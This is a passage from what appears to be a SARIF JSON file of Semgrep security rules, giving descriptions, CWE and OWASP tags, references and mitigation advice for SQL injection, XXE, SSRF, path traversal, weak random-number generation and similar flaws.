variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","id":"java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","name":"java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request)\n - [https://godoc.org/github.com/levigross/grequests#DoRegularRequest](https://godoc.org/github.com/levigross/grequests#DoRegularRequest)\n - [https://github.com/levigross/grequests](https://github.com/levigross/grequests)\n","text":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user data flowing into exec. This is code injection and should be avoided."},"help":{"markdown":"Detected user data flowing into exec. This is code injection and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.user-exec.exec-injection)\n - [https://nedbatchelder.com/blog/201206/exec_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/exec_really_is_dangerous.html)\n","text":"Detected user data flowing into exec. This is code injection and should be avoided."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.user-exec.exec-injection","id":"python.flask.security.injection.user-exec.exec-injection","name":"python.flask.security.injection.user-exec.exec-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.user-exec.exec-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.sqlx-taint.sqlx-taint","id":"rust.hyper.sql.sqlx-taint.sqlx-taint","name":"rust.hyper.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead."},"help":{"markdown":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0#remarks](https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0#remarks)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-6.0](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-6.0)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0#constructors](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0#constructors)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.key?view=net-6.0#system-security-cryptography-symmetricalgorithm-key](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.key?view=net-6.0#system-security-cryptography-symmetricalgorithm-key)\n","text":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","id":"csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","name":"csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-pickleshare-django.tainted-pickleshare-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","id":"python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","name":"python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-pickleshare-django.tainted-pickleshare-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorm.gorm-empty-password.gorm-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorm.gorm-empty-password.gorm-empty-password","id":"go.secrets.gorm.gorm-empty-password.gorm-empty-password","name":"go.secrets.gorm.gorm-empty-password.gorm-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorm.gorm-empty-password.gorm-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template."},"help":{"markdown":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js)\n - [https://golang.org/pkg/html/template/#JS](https://golang.org/pkg/html/template/#JS)\n","text":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","id":"go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","name":"go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe)\n - [https://www.npmjs.com/package/xml2json](https://www.npmjs.com/package/xml2json)\n","text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","id":"javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","name":"javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-xml2json-xxe.express-xml2json-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"help":{"markdown":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string](https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string)\n","text":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","id":"cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","name":"cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","id":"java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","name":"java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","id":"java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","name":"java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. "},"help":{"markdown":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. "},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf","id":"javascript.express.security.audit.express-ssrf.express-ssrf","name":"javascript.express.security.audit.express-ssrf.express-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-ssrf.express-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","id":"ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","name":"ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"help":{"markdown":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","id":"python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","name":"python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"setMultipleAllowances() is missing onlyOwner modifier"},"help":{"markdown":"setMultipleAllowances() is missing onlyOwner modifier\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control)\n - [https://twitter.com/danielvf/status/1494317265835147272](https://twitter.com/danielvf/status/1494317265835147272)\n - [https://etherscan.io/address/0x876b9ebd725d1fa0b879fcee12560a6453b51dc8](https://etherscan.io/address/0x876b9ebd725d1fa0b879fcee12560a6453b51dc8)\n - [https://play.secdim.com/game/dapp/challenge/rigoownsol](https://play.secdim.com/game/dapp/challenge/rigoownsol)\n","text":"setMultipleAllowances() is missing onlyOwner modifier"},"helpUri":"https://semgrep.dev/r/solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","id":"solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","name":"solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-href-url.react-href-url)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.react.react-href-url.react-href-url","id":"typescript.react.react-href-url.react-href-url","name":"typescript.react.react-href-url.react-href-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-href-url.react-href-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request)\n - [https://godoc.org/github.com/dghubble/sling#Sling.Add](https://godoc.org/github.com/dghubble/sling#Sling.Add)\n - [https://github.com/dghubble/sling](https://github.com/dghubble/sling)\n","text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive 